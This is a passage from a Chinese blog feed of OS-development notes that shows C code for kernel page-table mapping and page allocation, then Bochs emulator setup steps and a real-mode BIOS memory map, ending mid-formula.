class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>在页表中添加虚拟地址与物理地址的映射关系</strong></p><p>再次复习一下32位虚拟地址到物理地址的转换，我们后面实现pde和pte访问就是用的这个原理</p><ol><li>首先通过高10位的pde索引，找到页表的物理地址</li><li>其次通过中间10位的pte索引，得到物理页的物理地址</li><li>最后把低12位作为物理页的页内偏移，加上物理页的物理地址，即为最终的物理地址</li></ol><p>下面是通过虚拟地址访问pte和pde的函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 得到虚拟地址vaddr对应的pte指针*/</span></span><br><span class="line"><span class="keyword">uint32_t</span>* pte_ptr(<span class="keyword">uint32_t</span> vaddr) &#123;</span><br><span class="line">   <span class="comment">/* 先访问到页表自己 + \</span></span><br><span class="line"><span class="comment">    * 再用页目录项pde(页目录内页表的索引)做为pte的索引访问到页表 + \</span></span><br><span class="line"><span class="comment">    * 再用pte的索引做为页内偏移*/</span></span><br><span class="line">   <span class="keyword">uint32_t</span>* pte = (<span class="keyword">uint32_t</span>*)(<span class="number">0xffc00000</span> + \ <span class="comment">// 最后一个页目录项保存的是页目录表物理地址，高十位指向最后一个页目录表项</span></span><br><span class="line">                                              <span class="comment">// 也就是第1023个pde，换算成十进制就是0x3ff再移到高10位就是0xffc00000</span></span><br><span class="line"> ((vaddr &amp; <span class="number">0xffc00000</span>) &gt;&gt; <span class="number">10</span>) + \        </span><br><span class="line"> PTE_IDX(vaddr) * <span class="number">4</span>);</span><br><span class="line">   <span class="keyword">return</span> pte;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 得到虚拟地址vaddr对应的pde的指针 */</span></span><br><span class="line"><span class="keyword">uint32_t</span>* pde_ptr(<span class="keyword">uint32_t</span> vaddr) &#123;</span><br><span class="line">   <span class="comment">/* 0xfffff是用来访问到页表本身所在的地址 */</span></span><br><span class="line">   <span class="keyword">uint32_t</span>* pde = (<span class="keyword">uint32_t</span>*)((<span class="number">0xfffff000</span>) + PDE_IDX(vaddr) * <span class="number">4</span>);</span><br><span class="line">   <span class="keyword">return</span> pde;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在<code>m_pool</code>处申请物理页的函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 在m_pool指向的物理内存池中分配1个物理页,</span></span><br><span class="line"><span class="comment"> * 成功则返回页框的物理地址,失败则返回NULL */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span>* <span class="title">palloc</span><span class="params">(struct pool* m_pool)</span> </span>&#123;</span><br><span class="line">   <span class="comment">/* 扫描或设置位图要保证原子操作 */</span></span><br><span class="line">   <span class="keyword">int</span> bit_idx = bitmap_scan(&amp;m_pool-&gt;pool_bitmap, <span class="number">1</span>);    <span class="comment">// 找一个物理页面</span></span><br><span class="line">   <span class="keyword">if</span> (bit_idx == <span class="number">-1</span> ) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">   &#125;</span><br><span class="line">   bitmap_set(&amp;m_pool-&gt;pool_bitmap, bit_idx, <span class="number">1</span>);<span class="comment">// 将此位bit_idx置1</span></span><br><span class="line">   <span class="keyword">uint32_t</span> page_phyaddr = ((bit_idx * PG_SIZE) + m_pool-&gt;phy_addr_start); <span class="comment">// page_phyaddr用于保存分配的物理页地址</span></span><br><span class="line">   <span class="keyword">return</span> (<span class="keyword">void</span>*)page_phyaddr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>添加虚拟地址与物理地址的映射函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 页表中添加虚拟地址_vaddr与物理地址_page_phyaddr的映射 */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">page_table_add</span><span class="params">(<span class="keyword">void</span>* _vaddr, <span class="keyword">void</span>* _page_phyaddr)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> vaddr = (<span class="keyword">uint32_t</span>)_vaddr, page_phyaddr = (<span class="keyword">uint32_t</span>)_page_phyaddr;</span><br><span class="line">   <span class="keyword">uint32_t</span>* pde = pde_ptr(vaddr);</span><br><span class="line">   <span class="keyword">uint32_t</span>* pte = pte_ptr(vaddr);</span><br><span class="line"></span><br><span class="line"><span class="comment">/************************   注意   *************************</span></span><br><span class="line"><span class="comment"> * 执行*pte,会访问到空的pde。所以确保pde创建完成后才能执行*pte,</span></span><br><span class="line"><span class="comment"> * 否则会引发page_fault。因此在*pde为0时,*pte只能出现在下面else语句块中的*pde后面。</span></span><br><span class="line"><span class="comment"> * *********************************************************/</span></span><br><span class="line">   <span class="comment">/* 先在页目录内判断目录项的P位，若为1,则表示该表已存在 */</span></span><br><span class="line">   <span class="keyword">if</span> (*pde &amp; <span class="number">0x00000001</span>) &#123; <span class="comment">// 页目录项和页表项的第0位为P,此处判断目录项是否存在</span></span><br><span class="line">      ASSERT(!(*pte &amp; <span class="number">0x00000001</span>));</span><br><span class="line"></span><br><span class="line">      <span class="keyword">if</span> (!(*pte &amp; <span class="number">0x00000001</span>)) &#123;   <span class="comment">// 只要是创建页表,pte就应该不存在,多判断一下放心</span></span><br><span class="line"> *pte = (page_phyaddr | PG_US_U | PG_RW_W | PG_P_1);    <span class="comment">// US=1,RW=1,P=1</span></span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;    <span class="comment">//应该不会执行到这，因为上面的ASSERT会先执行。</span></span><br><span class="line"> PANIC(<span class="string">"pte repeat"</span>);</span><br><span class="line"> *pte = (page_phyaddr | PG_US_U | PG_RW_W | PG_P_1);      <span class="comment">// US=1,RW=1,P=1</span></span><br><span class="line">      &#125;</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;    <span class="comment">// 页目录项不存在,所以要先创建页目录再创建页表项.</span></span><br><span class="line">      <span class="comment">/* 页表中用到的页框一律从内核空间分配 */</span></span><br><span class="line">      <span class="keyword">uint32_t</span> pde_phyaddr = (<span class="keyword">uint32_t</span>)palloc(&amp;kernel_pool);</span><br><span class="line"></span><br><span class="line">      *pde = (pde_phyaddr | PG_US_U | PG_RW_W | PG_P_1);</span><br><span class="line"></span><br><span class="line">      <span class="comment">/* 分配到的物理页地址pde_phyaddr对应的物理内存清0,</span></span><br><span class="line"><span class="comment">       * 避免里面的陈旧数据变成了页表项,从而让页表混乱.</span></span><br><span class="line"><span class="comment">       * 访问到pde对应的物理地址,用pte取高20位便可.</span></span><br><span class="line"><span class="comment">       * 因为pte是基于该pde对应的物理地址内再寻址,</span></span><br><span class="line"><span class="comment">       * 把低12位置0便是该pde对应的物理页的起始*/</span></span><br><span class="line">      <span class="built_in">memset</span>((<span class="keyword">void</span>*)((<span class="keyword">int</span>)pte &amp; <span class="number">0xfffff000</span>), <span class="number">0</span>, PG_SIZE);</span><br><span class="line">         </span><br><span class="line">      ASSERT(!(*pte &amp; <span class="number">0x00000001</span>));</span><br><span class="line">      *pte = (page_phyaddr | PG_US_U | PG_RW_W | PG_P_1);      <span class="comment">// US=1,RW=1,P=1</span></span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>malloc_page</code>函数负责申请虚拟地址并分配物理地址、建立映射，大致步骤如下</p><ol><li>通过vaddr_get在虚拟内存池中申请虚拟地址</li><li>通过palloc在物理内存池中申请物理页</li><li>通过page_table_add将以上两步得到的结果在页表中映射</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 分配pg_cnt个页空间,成功则返回起始虚拟地址,失败时返回NULL */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span>* <span class="title">malloc_page</span><span class="params">(<span class="keyword">enum</span> pool_flags pf, <span class="keyword">uint32_t</span> pg_cnt)</span> </span>&#123;</span><br><span class="line">   ASSERT(pg_cnt &gt; <span class="number">0</span> &amp;&amp; pg_cnt &lt; <span class="number">3840</span>); <span class="comment">//15MB来限制，pg_cnt &lt; 15*1024*1024/4096 = 3840页</span></span><br><span class="line"><span class="comment">/***********   malloc_page的原理是三个动作的合成:   ***********</span></span><br><span class="line"><span class="comment">      1通过vaddr_get在虚拟内存池中申请虚拟地址</span></span><br><span class="line"><span class="comment">      2通过palloc在物理内存池中申请物理页</span></span><br><span class="line"><span class="comment">      3通过page_table_add将以上得到的虚拟地址和物理地址在页表中完成映射</span></span><br><span class="line"><span class="comment">***************************************************************/</span></span><br><span class="line">   <span class="keyword">void</span>* vaddr_start = vaddr_get(pf, pg_cnt);</span><br><span class="line">   <span class="keyword">if</span> (vaddr_start == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> vaddr = (<span class="keyword">uint32_t</span>)vaddr_start, cnt = pg_cnt;</span><br><span class="line">   <span class="class"><span class="keyword">struct</span> <span class="title">pool</span>* <span class="title">mem_pool</span> = <span class="title">pf</span> &amp; <span class="title">PF_KERNEL</span> ? &amp;<span class="title">kernel_pool</span> :</span> &amp;user_pool; <span class="comment">// 内核池还是用户池</span></span><br><span class="line"></span><br><span class="line">   <span class="comment">/* 因为虚拟地址是连续的,但物理地址可以是不连续的,所以逐个做映射*/</span></span><br><span class="line">   <span class="keyword">while</span> (cnt-- &gt; <span class="number">0</span>) &#123;</span><br><span class="line">      <span class="keyword">void</span>* page_phyaddr = palloc(mem_pool);</span><br><span class="line">      <span class="keyword">if</span> (page_phyaddr == <span class="literal">NULL</span>) &#123;  <span class="comment">// 失败时要将曾经已申请的虚拟地址和物理页全部回滚，在将来完成内存回收时再补充</span></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      page_table_add((<span class="keyword">void</span>*)vaddr, page_phyaddr); <span class="comment">// 在页表中做映射 </span></span><br><span class="line">      vaddr += PG_SIZE; <span class="comment">// 下一个虚拟页</span></span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> vaddr_start;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后一个函数负责在物理内存池中申请pg_cnt页内存</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 从内核物理内存池中申请pg_cnt页内存,成功则返回其虚拟地址,失败则返回NULL */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span>* <span class="title">get_kernel_pages</span><span class="params">(<span class="keyword">uint32_t</span> pg_cnt)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">void</span>* vaddr =  malloc_page(PF_KERNEL, pg_cnt);</span><br><span class="line">   <span class="keyword">if</span> (vaddr != <span class="literal">NULL</span>) &#123;   <span class="comment">// 若分配的地址不为空,将页框清0后返回</span></span><br><span class="line">      <span class="built_in">memset</span>(vaddr, <span class="number">0</span>, pg_cnt * PG_SIZE);</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> vaddr;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后我们在main.c中添加测试代码，申请三个页并打印其虚拟地址</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"print.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"init.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"memory.h"</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">void</span>)</span> </span>&#123;</span><br><span class="line">   put_str(<span class="string">"Welcome to TJ's kernel\n"</span>);</span><br><span class="line">   init_all();</span><br><span class="line">   <span class="keyword">void</span>* addr = get_kernel_pages(<span class="number">3</span>);</span><br><span class="line">   put_str(<span class="string">"\n get_kernel_page start vaddr is "</span>);</span><br><span class="line">   put_int((<span class="keyword">uint32_t</span>)addr);</span><br><span class="line">   put_str(<span class="string">"\n"</span>);</span><br><span class="line">   <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行效果如下，期中最上面的红框表示虚拟地址起始地址，对照第二个红框的对应关系，第三个红框中为7是因为我们申请了三个页，第三位都为1，位图的变化和预期相符合。</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/67.png" alt="image-20200526104424200" style="zoom: 67%;"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;完善内核&quot;&gt;&lt;a href=&quot;#完善内核&quot; class=&quot;headerlink&quot; title=&quot;完善内核&quot;&gt;&lt;/a&gt;完善内核&lt;/h1&gt;&lt;h2 id=&quot;调用约定&quot;&gt;&lt;a href=&quot;#调用约定&quot; class=&quot;headerlink&quot; title=&quot;调用约定&quot;&gt;&lt;/a
      
    
    </summary>
    
      <category term="Programming" scheme="https://thunderjie.github.io/categories/Programming/"/>
    
    
      <category term="OS Learning" scheme="https://thunderjie.github.io/tags/OS-Learning/"/>
    
  </entry>
  
  <entry>
    <title>简单内核实现笔记 part 1</title>
    <link href="https://thunderjie.github.io/2020/05/10/%E7%AE%80%E5%8D%95%E5%86%85%E6%A0%B8%E5%AE%9E%E7%8E%B0%E7%AC%94%E8%AE%B0-part-1/"/>
    <id>https://thunderjie.github.io/2020/05/10/简单内核实现笔记-part-1/</id>
    <published>2020-05-10T09:24:32.000Z</published>
    <updated>2020-06-18T03:06:32.502Z</updated>
    
    <content type="html"><![CDATA[<p>本系列文章主要记录阅读《操作系统真相还原》一书的笔记，主要是记录实现部分，如果您觉得看着很唐突的话很正常，因为我主要是记录代码和实现的过程，如果您能直接看懂的话，那功力是比较深厚的了，不过如果您没看过这本书的话，我还是非常建议您看着这本书和我一起做实验。</p><p>很久之前就想要实现一个内核，就算是抄也想要抄一遍。虽然这是一件重复造轮子的事情，但我个人认为这是任何一个想深入理解内核的人都需要走的一步，Windows和Linux在很多方面是类似的，深入了解其底层原理，你会发现不过也就是一个软件罢了。至于为何要写一篇文章来记录这繁琐枯燥的过程，一方面是因为自己喜欢记录一些学习过程，之后不说100%，至少80%可能是会参考到的。另一方面自己很久之前也答应了一些人要写个内核，却迟迟没有开始，说到这我都不好意思了。</p><p>关于操作系统实现的书籍我自己的阅读顺序如下，我自己认为先从Linux平台下手再到Windows比较好，当然也有很多其他很好的书籍，像《一个64位操作系统的设计与实现》、《30天自制操作系统》等，我认为选个一两本就足够了，带着目的去读书最重要。Anyway 希望这系列文章能够帮到你 :)</p><blockquote><ol><li><p>《操作系统真相还原》</p></li><li><p>《x86汇编语言从实模式到保护模式》</p></li></ol></blockquote><h1 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h1><p>实验环境如下</p><table><thead><tr><th>主机</th><th>虚拟机(Vmware 15.5.0 build)</th><th>实验机(Ubantu中安装)</th></tr></thead><tbody><tr><td>Windows 10 1903 x64</td><td>Ubantu 16.04 x64</td><td>Bochs 2.6.2</td></tr></tbody></table><p>首先安装一系列依赖</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install build-essential</span><br><span class="line"></span><br><span class="line">sudo apt-get install xorg-dev</span><br><span class="line"></span><br><span class="line">sudo apt-get install bison</span><br><span class="line"></span><br><span class="line">sudo apt-get install libgtk2.0-dev</span><br></pre></td></tr></table></figure><p>放入网上下载好的bochs 2.6.2版本，解压安装</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">tar zxvf bochs-2.6.2.tar.gz</span><br><span class="line"></span><br><span class="line">cd bochs-2.6.2</span><br></pre></td></tr></table></figure><p>设置环境属性</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">./configure \</span><br><span class="line">--prefix=/home/guang/soft/bochs-2.6.2 \</span><br><span class="line">--enable-debugger \</span><br><span class="line">--enable-disasm \</span><br><span class="line">--enable-iodebug \</span><br><span class="line">--enable-x86-debugger \</span><br><span class="line">--with-x \</span><br><span class="line">--with-x11</span><br></pre></td></tr></table></figure><p>直接<code>sudo make</code>编译正常情况会出现以下错误</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[...]</span><br><span class="line">Makefile:179: recipe for target &apos;bochs&apos; failed</span><br><span class="line">make: *** [bochs] Error 1</span><br></pre></td></tr></table></figure><p>找到Makefile文件<code>LIBS =</code>这句最后面添加上<code>-lpthread</code></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">LIBS =  -lm -lgtk-x11-2.0 -lgdk-x11-2.0 -lpangocairo-1.0 -latk-1.0 -lcairo -lgdk_pixbuf-2.0 -lgio-2.0 -lpangoft2-1.0 -lpango-1.0 -lgobject-2.0 -lglib-2.0 -lfontconfig -lfreetype -lpthread</span><br></pre></td></tr></table></figure><p>重新<code>sudo make</code>编译，然后<code>sudo make install</code>安装，在bochs目录下创建一个<code>bochsrc.disk</code>配置文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"># Configuration file for Bochs</span><br><span class="line"># 设置Bochs在运行过程中能够使用的内存: 32 MB</span><br><span class="line">megs: 32</span><br><span class="line"></span><br><span class="line"># 设置真实机器的BIOS和VGA BIOS</span><br><span class="line"># 修改成你们对应的地址</span><br><span class="line"></span><br><span class="line">romimage: file=/home/guang/soft/bochs-2.6.2/share/bochs/BIOS-bochs-latest</span><br><span class="line">vgaromimage: file=/home/guang/soft/bochs-2.6.2/share/bochs/VGABIOS-lgpl-latest</span><br><span class="line"></span><br><span class="line"># 设置Bochs所使用的磁盘</span><br><span class="line"># 设置启动盘符</span><br><span class="line">boot: disk</span><br><span class="line"></span><br><span class="line"># 设置日志文件的输出</span><br><span class="line">log: bochs.out</span><br><span class="line"></span><br><span class="line"># 开启或关闭某些功能，修改成你们对应的地址</span><br><span class="line">mouse: enabled=0</span><br><span class="line">keyboard:keymap=/home/guang/soft/bochs-2.6.2/share/bochs/keymaps/x11-pc-us.map</span><br><span class="line"></span><br><span class="line"># 硬盘设置</span><br><span class="line">ata0: enabled=1, ioaddr1=0x1f0, ioaddr2=0x3f0, irq=14</span><br><span class="line"></span><br><span class="line"># 增加gdb支持，这里添加会报错，暂时不需要</span><br><span class="line"># gdbstub: enabled=1, port=1234, text_base=0, data_base=0, bss_base=0</span><br></pre></td></tr></table></figure><p>运行即可，路径为<code>/home/guang/soft/bochs-2.6.2/bin</code>，之后的命令能加<code>sudo</code>的都加上，避免不必要的错误</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/1.png" alt="image-20200429125517920"></p><p>第一次输入直接回车，第二次输入我们的bochsrc.disk即可设置我们初始化文件</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">You can also start bochs with the -q option to skip these menus.</span><br><span class="line"></span><br><span class="line">1. Restore factory default configuration</span><br><span class="line">2. Read options from...</span><br><span class="line">3. Edit options</span><br><span class="line">4. Save options to...</span><br><span class="line">5. Restore the Bochs state from...</span><br><span class="line">6. Begin simulation</span><br><span class="line">7. Quit now</span><br><span class="line"></span><br><span class="line">Please choose one: [2] // 直接回车</span><br><span class="line"></span><br><span class="line">What is the configuration file name?</span><br><span class="line">To cancel, type &apos;none&apos;. [none] bochsrc.disk // 输入我们刚才配置的文件即可</span><br><span class="line">00000000000i[     ] reading configuration from bochsrc.disk</span><br></pre></td></tr></table></figure><p>运行之后会中断提示<code>Mouse capture off</code>，这个时候输入c继续运行即可，运行成功如下图，这里会提示没有设置设备信息</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/2.png" alt="image-20200429151727064"></p><p>设置设备需要运行<code>bximage</code>进行模拟，使用方法如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Usage: bximage [options] [filename]</span><br><span class="line"></span><br><span class="line">Supported options:</span><br><span class="line">  -fd              create floppy image                           // 创建软盘</span><br><span class="line">  -hd              create hard disk image                        // 创建硬盘</span><br><span class="line">  -mode=...        image mode (hard disks only)                  // 创建硬盘类型</span><br><span class="line">  -size=...        image size in megabytes                       // 创建大小</span><br><span class="line">  -q               quiet mode (don&apos;t prompt for user input)      // 以静默模式创建,不和用户交互</span><br><span class="line">  --help           display this help and exit</span><br></pre></td></tr></table></figure><p>如下方式创建名为<code>hd60M.img</code>的虚拟镜像</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/3.png" alt="image-20200429153853374"></p><p>在之前的<code>bochsrc.disk</code>配置文件中添加一行<code>ata0-master: type=disk, path=&quot;hd60M.img&quot;, mode=flat, cylinders=121, heads=16, spt=63</code>，重新指定配置文件运行</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo ./bochs -f bochsrc.disk</span><br></pre></td></tr></table></figure><p>再次报错，这次提示的错误和之前的不太一样，意思是这不是一个启动盘，后面我们需要编写具体的启动盘，故完成到这里环境搭建完毕</p><p><img src="/2020/05/10/简单内核实现笔记-part-1/4.png" alt="image-20200429191208677"></p><h1 id="实模式"><a href="#实模式" class="headerlink" title="实模式"></a>实模式</h1><h2 id="BIOS"><a href="#BIOS" class="headerlink" title="BIOS"></a>BIOS</h2><p>BIOS即输入输出系统，是按下主机键之后第一个运行的软件，其主要工作有</p><ul><li>调用检测、初始化硬件功能</li><li>建立中断向量表(IVT)</li><li>校验启动盘中位于0盘0道1扇区的内容</li></ul><p>实模式下的1MB内存布局如下，其中0～0x9FFFF处是DRAM，即动态随机访问内存，我们所装的物理内存就是DRAM，如DDR、DDR2等。顶部的0xF0000～0xFFFFF，这64KB的内存是ROM。</p><table><thead><tr><th style="text-align:center"><strong>起始</strong></th><th style="text-align:center"><strong>结束</strong></th><th style="text-align:center"><strong>大小</strong></th><th style="text-align:center"><strong>用途</strong></th></tr></thead><tbody><tr><td style="text-align:center">FFFF0</td><td style="text-align:center">FFFFF</td><td style="text-align:center">16B</td><td style="text-align:center">BIOS入口地址，此地址也属于BIOS代码，同样属于顶部的640KB字节。只是为了强调其入口地址才单独贴出来。此处16字节的内容是跳转指令jmp f000：e05b</td></tr><tr><td style="text-align:center">F0000</td><td style="text-align:center">FFFEF</td><td style="text-align:center">64KB-16B</td><td style="text-align:center">系统BIOS范围是F0000～FFFFF共640KB，为说明入口地址，将最上面的16字节从此处去掉了，所以此处终止地址是0XFFFEF</td></tr><tr><td style="text-align:center">C8000</td><td style="text-align:center">EFFFF</td><td style="text-align:center">160KB</td><td style="text-align:center">映射硬件适配器的ROM或内存映射式I/O</td></tr><tr><td style="text-align:center">C0000</td><td style="text-align:center">C7FFF</td><td style="text-align:center">32KB</td><td style="text-align:center">显示适配器BIOS</td></tr><tr><td style="text-align:center">B8000</td><td style="text-align:center">BFFFF</td><td style="text-align:center">32KB</td><td style="text-align:center">用于文本模式显示适配器</td></tr><tr><td style="text-align:center">B0000</td><td style="text-align:center">B7FFF</td><td style="text-align:center">32KB</td><td style="text-align:center">用于黑白显示适配器</td></tr><tr><td style="text-align:center">A0000</td><td style="text-align:center">AFFFF</td><td style="text-align:center">64KB</td><td style="text-align:center">用于彩色显示适配器</td></tr><tr><td style="text-align:center">9FC00</td><td style="text-align:center">9FFFF</td><td style="text-align:center">1KB</td><td style="text-align:center">EBDA（Extended BIOS Data Area）扩展BIOS数据区</td></tr><tr><td style="text-align:center">7E00</td><td style="text-align:center">9FBFF</td><td style="text-align:center">622080B约608KB</td><td style="text-align:center">可用区域</td></tr><tr><td style="text-align:center">7C00</td><td style="text-align:center">7DFF</td><td style="text-align:center">512B</td><td style="text-align:center">MBR被BIOS加载到此处，共512字节</td></tr><tr><td style="text-align:center">500</td><td style="text-align:center">7BFF</td><td style="text-align:center">30464B约30KB</td><td style="text-align:center">可用区域</td></tr><tr><td style="text-align:center">400</td><td style="text-align:center">4FF</td><td style="text-align:center">256B</td><td style="text-align:center">BIOS Data Area（BIOS数据区）</td></tr><tr><td style="text-align:center">000</td><td style="text-align:center">3FF</td><td style="text-align:center">1KB</td><td style="text-align:center">Interrupt Vector Table（中断向量表）</td></tr></tbody></table><p>BIOS因为是第一个运行的软件，故需要用硬件对其加载到ROM(0xF0000~0xFFFFF)中，其入口点是0xFFFF0(CPU通过段地址+偏移地址即可访问)，因为自己还没有加载起来，想要直接定位到0xFFFF0靠自己肯定是不行的，故也需要硬件来操作，使开机的时候强制将<code>CS:IP</code>置为<code>0xF000:0xFFF0</code>，实模式段基址需要乘16(左移四位)，故起始地址为0xFFFF0</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(0xF000 &lt;&lt; 4) + 0xFFF0 = 